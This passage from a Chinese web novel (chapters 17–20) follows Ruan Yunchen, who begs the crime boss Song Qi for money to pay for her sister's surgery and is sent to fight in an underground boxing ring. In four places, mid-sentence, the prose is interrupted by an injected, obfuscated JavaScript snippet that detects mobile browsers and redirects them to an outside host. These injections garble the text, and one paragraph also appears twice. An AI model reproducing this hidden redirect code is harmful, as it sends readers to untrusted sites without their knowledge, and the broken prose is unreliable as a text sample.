她抬头看了看,顶楼的灯还亮着,暖黄色的光透过窗帘照下来,平白多了几分冷意。她仿佛能透过那扇窗,看见那个人懒洋洋靠在椅子上,嘴里叼着烟,半眯着眼笑。 她的呼吸滞了一下,手掌撑住冰冷的墙壁,胃里一阵翻腾,像是想吐却吐不出来。 她知道自己为什么站在这里,也知道自己要做什么,但脚下却像被灌了铅一样挪不动。 她害怕。 不是那种恐惧得肝胆俱裂的害怕,而是一种深入骨髓的寒意。 宋祈这个人——这个人简直不能称之为“人”。他对一切都游刃有余,对一切都心怀戏谑,他的好意永远带着算计,他的恶意更是直接灼烧。 他偶尔会展现出些许人情味,但更多时候,他就是个玩弄所有人的玩家。 他的笑不是好东西,她知道。这笑的背后是算计,是恶意,还有那点说不清道不明的愉悦。 阮云琛不是第一次面对他——但这次不一样。 这次是她跪着求来的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830934|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跪着把自己送到一个无底深渊的边缘。 这不是为了自己,而是为了淼淼。淼淼还小,什么都不懂。她连咳嗽的时候都会说“姐姐,我没事”,但那张苍白的小脸早就让阮云琛连夜都睡不着。 她想走。 脚下的路就是出口,风往她背后吹,她只要转身就可以远离这个地方。 但她走不了。 手术费像一张无声的死亡判决书,死死地扣住了她的脖子。淼淼的命在她手里,她必须抓住。 阮云琛站在那里,心脏砰砰跳得发疼,像一只被按住的兔子,在濒死的本能里做最后的挣扎。几秒钟后,她终于迈开了脚,鞋底在地面上拖出一声轻微的滑响,仿佛宣告她的彻底投降。 她闭了闭眼,深吸了一口气,把手从兜里抽出来。手指蜷了蜷,仿佛那样就能把冰冷逼出身体。她抬起头,盯着顶楼的灯光,咬了咬牙。 “和安堂”的门把手被推开,迎面一股混杂着烟味和酒味的暖流扑面而来,浓烈得让人喘不过气。门口的保镖瞟了阮云琛一眼,没有多问,直接让开了路。 她的鞋跟在瓷砖上敲出细微的声音,空旷的大堂里回荡着低语和笑声,四处都是熟悉又陌生的气味。 脚步声在空旷的楼道里回荡,破旧的水泥楼梯每踩一步都会发出沉闷的回响。 阮云琛的手心汗湿得发冷,指尖不自觉地扣住墙壁,指甲擦过粗糙的墙灰,留下模糊的白印。 她不记得自己什么时候把外套裹紧了些,但她知道那种寒意仍然从骨缝里往外冒。 阮云琛没有抬头看,只径直走向那扇电梯门。 她知道顶楼是什么地方,那是“和安堂”的心脏,是宋祈的地盘。他像一只盘踞在那里的蛇,盯着每一个来访者,不动声色地决定他们的命运。 电梯门缓缓打开,她走了进去,按下顶层的按钮。狭小的空间里,她的倒影映在光洁的金属墙面上,显得有些狼狈。 电梯的轿厢里只有她一个人,但她却觉得喘不过气,手指不自觉地握紧,指甲扎进掌心,掌心流了血。 阮云琛一时半会儿分不清是肩头更痛,还是掌心更痛,又或是砰砰直跳的心敲击着胸骨会更痛一些。 抵达顶层时,门开了。外面的灯光明亮得有些刺眼,阮云琛下意识眯了眯眼,站在门口顿了半秒,最终抬脚走了出去。 楼道尽头的门关着,门后隐约透出一点烟草的味道,混着湿冷的空气,像是某种嘲弄的宣告。 她伸出手,停在门上,迟疑了一秒。 她不知道门后的那个男人会露出怎样的表情,但她知道,这一次,她再没有退路。 宋祈果然在。 他的办公室比她想象中更安静,只有他一个人靠在椅子上,夹着一根烟,半睁着眼。烟雾打着旋飘上天花板,他的目光落在阮云琛身上,像刀子一样把她从头到脚剜了一遍。 门打开的瞬间,熟悉的烟味扑面而来,宋祈的脸从烟雾里浮现出来,带着一如既往的漫不经心:“怎么,又缺钱了?” 17. 祈求 “我需要更快的赚钱方式。”阮云琛抬起头。 她的声音很轻,却清晰得像一枚钉子,敲在了寂静的空气里。 话音刚落,房间里的时间仿佛被按下了暂停键。空气里弥漫着淡淡的烟草味,吊灯昏黄的光线模糊了边界,像是某种无声的讽刺。 烟雾在半空中打了个旋儿,缓慢散开,最后倏然消失在光影交错的天花板里。 宋祈靠在椅子上,动作一如既往的懒散。 他的手肘搭在椅子的扶手上,手指轻轻夹着一根烟。那根烟烧到一半,火星忽明忽暗,像一盏被风吹动的微弱灯盏。 他抬眼看了阮云琛一眼,目光里带着玩味,甚至带着几分无聊的挑剔,就像是在挑一件即将摆上货架的商品,仔细掂量它的分量和价值。 “哦?”他慢条斯理地拖长了尾音,语调懒洋洋的,吐出的烟雾掩住了嘴角的笑意,“怎么,忽然有这么大的觉悟?” 他的声音像是在逗弄什么,又像是一种压抑的笑。 宋祈偏了偏头,忽然把烟从唇间移开,指尖掸了掸烟灰,手腕一转,烟蒂稳稳地弹进了桌上的烟灰缸里。 灰烬落下的一瞬间,空气里传来轻轻的一声响,几乎不值一提,但却让阮云琛背后的冷汗又往下滑了一寸。 “还是……”他顿了一下,目光重新落在阮云琛的脸上,嘴角的弧度不紧不慢地深了一点,“有急事?” 阮云琛站在他对面,背脊挺得很直,像一根绷紧的弦。 她知道他的语气带着戏谑,甚至不需要掩饰恶意——他从来都是这样,漫不经心的态度背后,是把玩一切的笃定。 她曾经试图理解他的想法,但每一次都不得不放弃,因为那条路太深,她走不完,也不敢走下去。 阮云琛的手指无意识地攥紧了衣角,指尖泛白,掌心湿冷。 屋子里的烟味很重,像潮湿的霉菌,一点点侵入皮肤。 她觉得喉咙里堵了一块石头,呼吸带着钝钝的痛感。可即便如此,她的脸上还是没什么表情,眼神冷静得过分,像是把所有情绪都藏在一扇关得很紧的门后,连一点缝隙都没留。 宋祈轻轻笑了一声,低头掸了掸烟灰。他的动作从容而随意,似乎并不着急得到她的答案。 他不需要急。 他像是一只老虎,坐在笼子里,无聊地等待着猎物自己走进来,然后再慢条斯理地发起进攻。 阮云琛深知这一点,可她没有选择。 墙上的挂钟滴答作响,声音轻而沉,每一秒都像是硬生生敲进了她的胸腔里。她甚至能感受到自己的心跳,慢而沉,像是被一只看不见的手攥着,用力收紧。 “......是。”她开口了,声音干脆,没有犹豫,带着某种被迫的冷硬。 这个字像一根生锈的钉子,被硬生生砸进地里。 阮云琛的手指松开又攥紧,攥紧又松开,掌心的皮肤被自己的指甲划出细小的红痕。她的指尖在微微颤抖,但眼神依旧平静,没有一丝波澜。 宋祈的动作停了停,像是终于对这场沉闷的对话提起了点兴趣。他靠在椅背上,抬起头,目光再次落在阮云琛身上。 她站得笔直,脸色苍白,整个人像一张拉满的弓,只要他稍稍一用力,就能彻底把弦折断。 她知道,她面前是一条长长的暗巷,巷子尽头黑得看不见一点光。可她已经迈出第一步,再没有回头的可能。 “我就知道。”宋祈停在阮云琛的面前,居高临下地看着她,嘴角依然挂着那种漫不经心的笑。 他的目光从她的脸一路滑下,最终停在她握紧的双拳上。那双拳头攥得太紧,指关节泛白,像是靠这种方式才能稳住摇摇欲坠的身体。 “你这副破罐子破摔的样子,真让人心疼啊。”他说,声音轻飘飘的,带着某种近乎恶意的愉悦。 阮云琛抬起头,眼神像是一把藏在鞘里的刀,沉静又压抑:“不需要你心疼。我要活着,淼淼也得活着。只要你能帮我,我什么都愿意做。” 这句话说出口的瞬间,仿佛所有的力气都被抽走了。她的嗓音冷硬,却藏不住深处那点微不可见的颤抖。 她知道这句话意味着什么,也清楚自己站在一个什么样的悬崖边。宋祈不是她可以依靠的人,但他是她唯一能找的人。 她从小到大认识的人很少,甚至说得上名字的都寥寥无几。 大多数人只是她生活里的背景板,偶尔经过,掀起点风浪,转眼又归于无声。 她能数得出的那些名字,淼淼是她的责任,而宋祈……他是她的一根稻草,一根布满倒刺、随时可能扎破她掌心的稻草。 可她别无选择。 宋祈的笑声骤然停下了。 他盯着她看了几秒,像是在审视,又像是在验证什么。他不急,他从来不急。他看准了她没得选,才会这样慢条斯理地享受这一刻——享受猎物自投罗网的过程。 “好。”他说,笑容重新浮上嘴角,比刚才更加阴郁,“有意思。” 阮云琛的背脊还是挺直的,但她的手指已经松开了些,指甲从掌心的皮肉里抽出来,留下几道浅浅的红痕,隐隐泛着血色。 宋祈回到椅子上坐下,懒散地靠着椅背,手指轻轻敲击着桌面,每一下都像是在划破空气。 他的动作随意,但眼神却锐利得像刀。他低头瞥了一眼她松开的手,笑容更深了些:“不过嘛,这种事不是光靠一张嘴就行的。你得让我相信,你有这个能力,也有这个觉悟。” 阮云琛没有动,她站在那里,像是一棵在风中摇曳的枯树。她抬起头,眼神冷漠得近乎空洞:“你想怎么相信?” 她的话毫无波澜,语调平静得像是置身事外。可只有她自己知道,每一个字从喉咙里挤出来时,她的胃都在翻搅,像是有一把生锈的刀在里面绞。 这句话已经耗尽了她所有的力气。 她知道,宋祈想要的从来不是“能力”,而是“态度”。他不在乎她能不能完成那些任务,甚至不在乎她会不会死。他想看的,只是她如何一步步妥协,如何用一层又一层的羞辱换取别人眼中不值一提的恩赐。 “跪下来,求我。”宋祈的声音轻飘飘的,像是没有一丝分量,但每个字都带着冰冷的刺。 阮云琛的喉头动了动,像是咽下一口苦涩的酒。 她早该知道会有这一步。从她迈进“和安堂”的那一刻起,从她决定求宋祈帮忙的那一刻起,她就知道自己再没有退路。 她没有退路。 这不是她第一次被逼到悬崖边上,可这一次,她已经失去了自己最薄弱的保护伞——幻想。 阮云琛知道,没有人会帮她。 医生帮不了,邻里帮不上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830935|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政府不会帮,警察......警察怕是只会把她抓走,关进那间冰冷的铁床。 谁都不会帮。 阮云琛甚至不知道自己还能信任谁,甚至不知道“信任”这个词是什么意思。 她的手慢慢松开,垂在身体两侧,指尖还在微微发抖。她垂下眼,呼吸轻得几乎听不见。 淼淼在等她。 那个孩子还在病床上,咳得气喘吁吁,却执拗地用稚嫩的声音说“姐姐,我没事”。她不能告诉淼淼真相,那张手术单就像一把刀,悬在她们两个人的脖子上,随时可能落下。 她低下头,呼吸在胸腔里压得发疼。 她知道这一跪的代价,也知道宋祈在等的是什么。 可阮云琛没有选择。 她没有选择。 空气像是一根拉满的弦,随时可能绷断。 她缓缓地弯下膝盖,直到双膝触地。 冰凉的地板贴上皮肤,那种冷意透过衣料一点点渗进骨头里。膝盖着地的声音不大,却像是重重敲在耳膜上。她低着头,声音轻得几乎听不见:“我求你。” 宋祈满意地笑了。他站起身,慢悠悠地走到她面前,低头看着她,就像是在俯视一个被他驯服的猎物。 “这才像样嘛。”宋祈笑了一声,像是终于解了什么无聊的谜题。 他的声音漫不经心,带着一股说不清的快意,像是一把钝刀,慢慢地在阮云琛的皮肤上划过,不急着见血,只是试探着用力。 阮云琛依旧跪在那里,双膝贴着冰凉的地板,像一座沉默的石雕。她的眼神平静得近乎麻木,像是一潭没有涟漪的死水。 宋祈看了她一会儿,似乎觉得有趣,又似乎有些失了兴致。 他漫不经心地抬起手,掸了掸手指上的烟灰,动作轻得像是顺手的消遣,然后懒散地转身,重新靠回了椅背。他的动作从容得几乎拖沓,像是一场没有急切目标的表演。 “阮云琛。”他终于开口,声音很轻,带着一种不急不缓的节奏,“你知道,我欣赏你的地方是什么吗?” 他没有等她回答,也不需要她回答。他的目光落在窗外,像是在某个她看不见的地方找到了兴趣点,嘴角轻轻扬起:“你清楚自己的位置,清楚自己要什么,不装,也不躲。像你这样的人,太少了。” 话是夸赞的语气,但听在耳朵里,像是一层薄薄的冰,踩上去随时会裂开。 他转头看了她一眼,像是刚想起来她还跪在地上。他的目光很轻,甚至懒得多停留一秒,只是扫过去,又移开了。 他的手指轻轻敲着椅子的扶手,发出有节奏的“嗒嗒”声,像是在屋子里打下一种无形的节拍。 “不过,”他说,忽然拖长了音调,声音里带着一点似有似无的笑,“事情可没你想的那么简单。我确实有件事需要你做,不过啊……” 他把尾音压得很低,像是一把刀刃轻轻划过玻璃,带出一阵令人发麻的刺响。他靠回椅背,脸上的笑容没有完全散开,却比刚才更深了几分:“这种事可不是随便什么人都能完成的。你得有命回来才行。” 他的话说得很轻,但像是一颗石子落进了水里,砸开层层叠叠的涟漪。 阮云琛听得很清楚,她的心却没有一点波澜。她抬起头,眼神淡得像一潭死水,连反射光都没有。 “是什么?”她问。 18. 新工作 宋祈的目光在阮云琛脸上停了片刻,像是漫不经心地打量,又像是在等待什么。 他懒洋洋地抬了抬手,指尖轻轻敲击着椅子的扶手,敲出一点轻微的声音,那声音仿佛刚好钻进人耳朵里,每一下都像是某种无形的催促。 “别急嘛。”他轻轻笑了一声,笑声很低,像一片羽毛擦过玻璃,没有一丝温度。 他没有立刻回答,而是转头望向窗外,窗帘微微垂着,只透出一点点外面的光。 宋祈看得很认真,像是在欣赏什么,但阮云琛知道,那不过是他故意拖延的一种方式。 他总是这样,喜欢看人等待,看人无可奈何又必须顺从。他的游戏规则从来都只有一条——你不能退。 房间里的烟雾还在盘旋,吊灯的光晕在桌面上投下一片暗影,像是一张模糊的网,把她的影子也一并捆了进去。 宋祈终于转回头,他的眼神重新落在她身上,带着一种说不清的意味。那目光让人觉得不舒服,像是一只手轻轻地拨开了她所有的伪装。 “地下黑拳。”他轻轻吐出这四个字,语调低得像是从地底冒出来的烟气,又像是某种深渊的邀约。 阮云琛没说话,她的手指垂在身体两侧,微微蜷了蜷,又缓缓放开。指尖上有些湿冷,她知道那是汗,但她没有抬手去擦。那动作太过明显,宋祈一定会注意到。 她不想让他看出任何情绪,哪怕只有一点点。 “知道这是什么吗?”他问,语气里带着几分戏谑,又像是在试探。 她点了点头,动作很轻,但足够让他看到。 “那就好。”他靠回椅背,露出一个模糊的笑容,“省得我浪费时间。” 他没有继续解释,或许是因为觉得阮云琛早该知道,或许是觉得不需要。 地下黑拳的残酷性,拳场的规则,这些东西......哪怕是外行人,听见了这个名字,也应该会本能地感到害怕。 如果她不知道,那也没关系,去了就会明白——拳场就是这样一个地方,用最血腥的方式教会你所有的规则。 阮云琛的目光落在他指尖,烟蒂还在燃烧,微弱的火星忽明忽暗,像是一只快要熄灭的眼睛。 宋祈的神色很随意,仿佛这不过是日常事务的一部分,甚至都不值得多花一秒钟去解释。 他沉默了一会儿,随意地换了个坐姿,手指轻轻转动着烟蒂,声音带着几分低哑的笑意:“这种事不难,毕竟打几场拳而已。你别看自己瘦,真上了台,说不定还能赢几场。” 这话听起来轻描淡写,像他以往所有任务的布置一样,简短、随意、不屑。 可阮云琛还是微妙地觉得......不对劲。 真的不对劲。 宋祈没有直接吩咐,而是解释了几句,简单得像是扫两眼报纸上的天气预报——他从来不这样。 宋祈指派她的任务一向带着一种不容置疑的命令感,他不需要解释什么,也从不会浪费时间去解释。 她被派去讨债、送东西、清理某些他不耐烦的麻烦时,只是按照吩咐走到指定地点,剩下的事情就像一只上足发条的玩具,得自己转起来。 可这一次,他像是漫不经心地提了一句,又像是漫不经心地嘱咐了一声。 很短,几乎不到三句话,但那些模糊的词汇停在空气里,像一点未完全散开的烟灰,落得不多,却足够引人注意。 阮云琛觉得奇怪。 那就仿佛窗外的风刮进来,轻轻掀了一下桌布,但没有掀开足够多。她的手指下意识地蜷了一下,仿佛条件反射般地抓住了什么,却发现其实什么都没抓到。 她站在原地,被困在了光影交错的地板上。 昏黄的吊灯光打下来,把她的影子拉长了一截,直直地伸向宋祈脚下。她低头看着自己的影子,目光不经意间扫过地板的纹理,想要寻找什么缝隙,却又什么都没看见。 阮云琛觉得眼睛有点涩。 涩到开始发痛,渐渐地没法均匀地呼吸。 宋祈的语气依旧轻描淡写,像是在评论一场无关紧要的闹剧:“拳场最近有点乱,有人想借这场子立威风,我得给他们添点麻烦。” 他随手掸了掸烟灰,动作随意得像是连这句话本身也不重要。 他没转头,目光始终落在窗外某个看不见的地方,嘴角的笑意若隐若现,像挂在一根细线上,风一吹,似乎就会掉下去。 “这种人啊,”他忽然笑了一下,声音低哑,语调拉长了一点点,“教训起来最省事了。” 那笑意听起来像是真心的,却又不完全像。 阮云琛没有接话。 她站在烟雾缭绕的房间里,像一个久未使用的摆件,积满了灰却一声不响。 她知道自己应该站直一点,肩膀别绷得那么紧,但身体的某些部分总是比思维更诚实。她松开了紧握的拳,手指隐隐有些发酸,掌心里还留着几道指甲掐出的月牙印。 “不过这些跟你没关系。”宋祈的声音再一次响起,像是某种轻飘飘的尾音,接在一段旋律的最末一拍上,“你上去,只管打就是了。其他的事……你不需要知道。” 他的目光这才转过来,落在她脸上,不轻不重地停了一瞬,又像是随意地移开。那种目光很奇怪,不算审视,也没有什么特别的情绪波动,甚至可以说是懒散的,但莫名让她觉得不舒服。像是被人伸出手在脸上划了一下,没留痕迹,却能感觉到触感。 阮云琛的喉头动了一下,但没有说出话来。 她有点分不清刚才的那句解释,是他无意间提起,还是故意松开的一点线头,让她沿着往下想。 宋祈靠着椅背,姿态松散,手指轻轻敲了敲椅子的扶手。 他的目光又移向窗外,像是在注视某个她看不见的点。光从他背后落下来,隐约勾出他肩膀的轮廓,黑暗笼罩了一半的脸,让他的神情显得更加模糊不清。 阮云琛垂下眼,把目光落回地板。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830936|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光线在脚边切出一道明暗分界线,她站在阴影里,影子被光压着,长长地拉进角落里。 “拳场这种地方嘛,”宋祈继续说,语气带着点漫不经心的笑意,“谁都想趁乱分一杯羹。要么把他们打服了,要么把他们打怕了。我不管过程,只看结果。” 他的话像是说给自己听的,声音很轻,却在烟雾里荡开了层层回音。 “赚到的钱,五五分成。”宋祈嗤笑了一声,神情中带着怜悯,“但看在你帮我镇场子的份上,我可以让你三成。” 阮云琛没有接话,她知道自己不需要回答。他也不期待任何回答,他只是乐于看人听话的样子,尤其是她这样——明明眼里还有几分倔强,却不得不低头顺从。 “怎么,不想去?”宋祈忽然转头看着她,笑容里带着几分戏谑,“要是怕的话,现在开口还来得及。我可以安排别人去,你也就——” “输了呢?”阮云琛开口了,她的声音依旧平静,没有一点起伏。 宋祈的眉毛轻轻挑了一下,嘴角的笑意更深了些。他的目光落在她身上,像是在打量,又像是在欣赏。他没有立刻回答,而是轻轻地掸了掸烟灰,眼神透过烟雾看着她,带着几分似笑非笑的意味。 “输了?”他低低地重复了一遍,语调里透出一点不以为然的冷意,“你输了,跟我有什么关系?” 他的话很轻,却带着某种让人无法忽视的重量。阮云琛垂下眼,目光落在地面上,那里光影交错,像是一条深深的裂缝。 “赢不了,不要回来。”他说,声音依旧很轻,却没有了刚才的笑意。 阮云琛的手指再次收紧,指甲刺进掌心,留下几道淡淡的红痕。她的喉头动了一下,但没有说话。 宋祈站起身,动作很慢,脚步声在地板上敲出轻微的响动。他走到她面前,低头看着她,居高临下的姿态像是一只掌控一切的猎手。 “怎么,不想去?”宋祈忽然转头看着她,笑容里带着几分戏谑,“要是怕的话,现在开口还来得及。我可以安排别人去,你也就——” “我去。”阮云琛打断了他,声音很轻,却带着一种不容置疑的冷硬。 宋祈似乎对她的反应感到有趣,嘴角的笑意更深了些。他把烟蒂按在烟灰缸里,发出轻微的“嘶”声,像是火焰被掐灭的声音。 “很好。”他说,嘴角的笑容慢慢散开,声音里透出一种冷淡的愉悦,“就喜欢你这种不问为什么的态度。” 他靠回椅背,手指随意地在扶手上敲了敲,像是给某件事打上了句号。 “去吧。”他挥了挥手,语气里带着敷衍的施舍,“别让我失望。” 阮云琛站在原地,没有立刻动。她垂下眼,看着地板上的影子,那光影交错的轮廓像是一张网,把她牢牢困在原地。 她不知道自己还能撑多久,也不知道拳场的对手会是什么样的人。但她知道,无论发生什么,她都不能输。 输的人没有资格活着。 19. 旧工厂 阮云琛出了宋祈的办公室,天已经黑透了。 风从巷子的尽头刮过来,带着股子阴冷的潮气。路边的灯泡闪了几下,发出不稳定的黄光,把人影投得长长短短。 她的脚步落在地砖上,没有一点声响,像踩在一张柔软而冰凉的网里。 阮云琛走得很慢,没有任何方向,不知道要往哪儿去。 不想回家,家里空无一物。 不敢去诊所,诊所的药水味无时无刻不在提醒她—— 你没有钱。 没有钱,就没法给淼淼治病,而那遗传性癌症,如果拖着不治,那就会死。 直到夜风吹得她后颈发麻,她才抬手把衣领往上拢了拢,勉强抵住那一丝寒意。 她的眼睛盯着地面,脚下每一步都踏得很实,可心却像是悬在空中的一枚针,怎么也找不到一个地方扎下去。 ——“地下黑拳。” 宋祈吐出这几个字的声音还在耳边盘旋,像是怎么也散不去的烟味,钻进鼻腔,藏在衣服的纤维里。 她没去过拳场,但听过不少关于拳场的传闻。 那些话大多是街边摊的客人喝醉了胡乱嚷出来的,夹杂着断断续续的笑声和大着舌头的咒骂。她从来没放在心上,可现在,那些模糊的形容词都像是被放大了一样,挤满了她的脑子。 脏、乱、血腥。 她的手指在衣兜里握成拳,指甲掐进掌心。疼痛让她稍稍清醒了一点,但脑海依旧是一团混乱。 拳场是什么地方,她不清楚,但她知道宋祈把她推过去,只可能是一条死路。 可她别无选择。 路灯的光在她脸上打出一道暗影,影子被拉得长长短短,像一条无形的枷锁,套在她的脚踝上。 风从巷子深处刮过来,带着湿冷的潮气,像是一只冰凉的手,悄悄掠过她的后颈。 阮云琛的步伐很稳,每一步都像是被钉在地面上。光线逐渐变得稀薄,街道两旁的墙壁斑驳不堪,墙角的裂缝里长出几株野草,在夜风中轻轻晃动。 空气里飘着一股淡淡的铁锈气,那味道越往前越浓。 工厂区的轮廓出现在视线尽头。 那就像是一片沉默的废墟,高高低低的烟囱折断在夜色里,隐约还能看见废弃的铁轨和积灰的仓库顶棚。 那些被遗弃的建筑静静地立在黑暗里,像是等待某种永远不会到来的宣判。 阮云琛走得很慢,但脚步没有停。 路边低矮的围墙后堆满了废弃的金属,扭曲的钢管、锈迹斑斑的铁板像是一片荒废的丛林,在昏暗的光线下露出锋利的边缘。 破旧的大门都敞开着,一盏盏挂在门框上的煤油灯发出晦暗的光,将影子拉得扭曲而杂乱。灯芯微微跳动,像是随时会熄灭。 这里的一切都格外安静,只有偶尔传来几声风吹过铁片的轻响,那声音细微而尖利,像是某种被拉长的叹息。 没有人,没有声,堆积如山的废金属像一片荒凉的坟场,将整片区域压得沉闷而静止。 阮云琛突然注意到,有个身影蹲在门口。 他很瘦,几乎被阴影吞没,但帆布上的零件和工具箱边缘反射出一点微弱的光,让他显得突兀又显眼。像是被丢弃在这片空旷之地的一抹生命,努力收缩着自己的存在,却又因为过于孤单而无法被忽略。 阮云琛眯了眯眼。 是……桥下的那个孩子? 男孩正弓着背,面前铺着一块旧帆布,帆布上摆着一些铁片、螺丝和用手工敲出来的小零件。他的手边放着一个破旧的工具箱,箱盖微微敞开,里面堆满了杂乱的物件。 站在他面前的是个穿着工服的中年男人,正在低头翻看帆布上的东西。他的动作粗暴又漫不经心,像是在挑选一些价值极低的废品。 他翻了一会儿,用鞋尖踢了踢帆布的一角,发出一声冷哼:“这点东西也想换钱?回去再捡点吧。” 男孩低着头,没有反驳,手指却抓紧了帆布的一角,像是死守着最后的阵地。 他的声音很小,但语气里带着一丝不容置疑的固执:“这些都是我自己敲出来的。” “自己敲的?”男人嗤笑了一声,声音里带着些嘲弄。他嫌弃地扒拉了两下,隔了会儿,才说,“行吧,东西留下,过几天再来拿钱。” 说完,他转身走进废铁场,留下男孩一个人站在原地。 忽地,那孩子似乎听到了声音,猛然抬起了头,视线撞了上来。 阮云琛没有动,她站在距离废铁场几米远的地方,目光落在他的脸上。她原本以为自己会立刻挪开视线,但那目光像是有黏性,她一时间竟移不开来。 男孩认出了她。 他的目光里带着一点迟疑和探寻,却没有开口。下一瞬,他的视线轻轻地滑过她的肩膀,停了片刻。 “你……”男孩似乎想说什么,但嘴唇动了动,终究没有发出声音。他的手垂在身侧,像是在犹豫,又像是想要询问什么。 阮云琛的手指下意识地蜷缩了一下。 她几乎是条件反射地就抬起手遮住了肩膀,指尖隔着外套触碰到那处隐隐作痛的地方,疼痛随着动作渗进骨头,像被火撩过似的,带着一波又一波无法停止的灼烧感。 阮云琛垂下眼,嘴角用力扯了一下,想笑,却又没笑出来。 或者说,那根本算不上一个笑。 她知道自己现在比僵硬的表情还要难看。 可阮云琛很快意识到自己的动作有些多余,不自在地放下手,稍稍侧开了目光,不想让人看见自己这一瞬间的狼狈。 她觉得自己有点傻。 路灯的光照下来,把她的影子拉得长长的,落在男孩脚边。 她没有再多看一眼,只是转过身,低头迈开脚步,鞋底踩在路面上,发出轻微的声响。 身后的目光一直停在她身上,像是一根无形的线轻轻牵着她的后背,隐隐带着点她无法忽视的重量。 但她没有回头。 阮云琛不想回头,也不敢回头。 风从废铁场的方向吹过来,带着一股潮湿的铁锈味,钻进她的衣领里,让她忍不住打了个寒颤。她的步伐稍微快了一点。 很快,废铁场的影子被抛在了身后,工厂区的大门出现在前方。 工厂的大门上还挂着一块生锈的铁牌,上面的字迹早就模糊了,只剩下几道歪歪斜斜的划痕。 大门旁边立着两个男人,衣服敞开着,手里拿着烟和传呼机,时不时抬头扫一眼过往的路人。看见她靠近,其中一个人吹了声口哨。 “新来的?”他问,语气里带着点漫不经心的打量。 阮云琛犹豫了片刻,点了点头。 男人上下扫了她一眼,露出一个嘲弄的笑:“这么小?这是哪家大小姐离家出走了?” 旁边的人嗤笑了一声,但仍是摆了摆手,示意阮云琛往里走。 拳场的门口又恢复了短暂的沉寂,只剩下风吹过铁门的吱呀声,像是在暗中低语。 在这里的人谁都知道,能够找到这儿的,要么是衣食无忧想来观战下个注的大小姐大少爷,要么是那些彻底被现实压垮,连明天能不能活着都不确定的人。 后者的眼睛会有一种与生俱来的凶狠,像被逼入绝境的动物,不打就得死。 这里的钱来的确快,一场拳赛下来,赢的人能拿到外面一年赚不到的报酬。 可这里也是个吞人的地方,拳场的规则简单到近乎残酷——只要站在栅栏里的那一刻,生死就成了无关紧要的事。 拳手的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“话是这么说。”男人的语气低了下去,手指夹着条子的边缘,像是有点犹豫。他的目光重新落在阮云琛身上,上下扫了一遍,嘴角挑起一点不加掩饰的嘲弄,“不过,拳场最近乱得很。他还真舍得送这么个小丫头来?拿命开玩笑呢吧?” 旁边的人笑了一声,像是附和,又像是觉得有趣:“也许不是拿命开玩笑,而是用人当炮灰。谁知道呢,他那人就爱折腾点儿有意思的事。” “炮灰也得能撑得住才行。”黑衣男人摇了摇头,把条子往她手里一塞,侧身让开了一点,“进去吧,宋祈的条子,我劝你别浪费了。” 他的话看似随意,却在最后的语调里多了几分莫名的轻蔑和冷漠。像是对她的劝告,也像是在等着看她的笑话。 阮云琛接过条子,手指微微收紧,转身推开了门。 门被推开的瞬间,一阵嘈杂的喧嚣声扑面而来,像是一头猛兽张开了嘴,把她吞了进去。拳场里的空气湿热而浑浊,带着汗味、烟味和一点隐隐的血腥气,像是一种无形的触感,贴在她的皮肤上,让她本能地想皱眉。 她知道自己刚才的那段对话大概被门后的人看成了一场无声的笑话。 他们或许觉得她的年纪、样子,甚至是瘦弱的身板都不足以撑过一场完整的拳赛。但更让他们疑惑的是——这是宋祈派来的。 拳场乱归乱,来送命的人多归多,但宋祈一向不是随便派人来乱搅的那种人。他的风格从来是冷酷且精准,一击必中。 这么个瘦小的女孩,被扔进拳场能干什么? 阮云琛没有解释的必要,她也懒得解释。她的肩膀因为刚才推门的动作再次隐隐作痛,疼痛让她更加清醒,也更加明白——她站在这儿,不需要让任何人明白她为什么会来。 她踩着地面走进深处,身后的门咔哒一声关上,把所有的喧闹和目光都锁在了外头。 20. 后台 拳场比阮云琛想象得要大。 四周用铁栅栏围成了一个方形,栅栏外是一圈用来下注和观赛的看台。 看台上挤满了人,嘈杂的声音汇成一片,像是要撕裂空气。那些人脸上带着一种奇怪的兴奋,眼睛死死盯着场中的打斗,像是在看一场没有尽头的表演。 阮云琛站在入口处,脚下似乎生了根,怎么也迈不开步子。 “愣着干什么?”一道粗哑的声音从旁边传来,“进去。” 那声音带着几分不耐烦,像是在催促牲口。 阮云琛僵了一下,抬脚迈了进去。 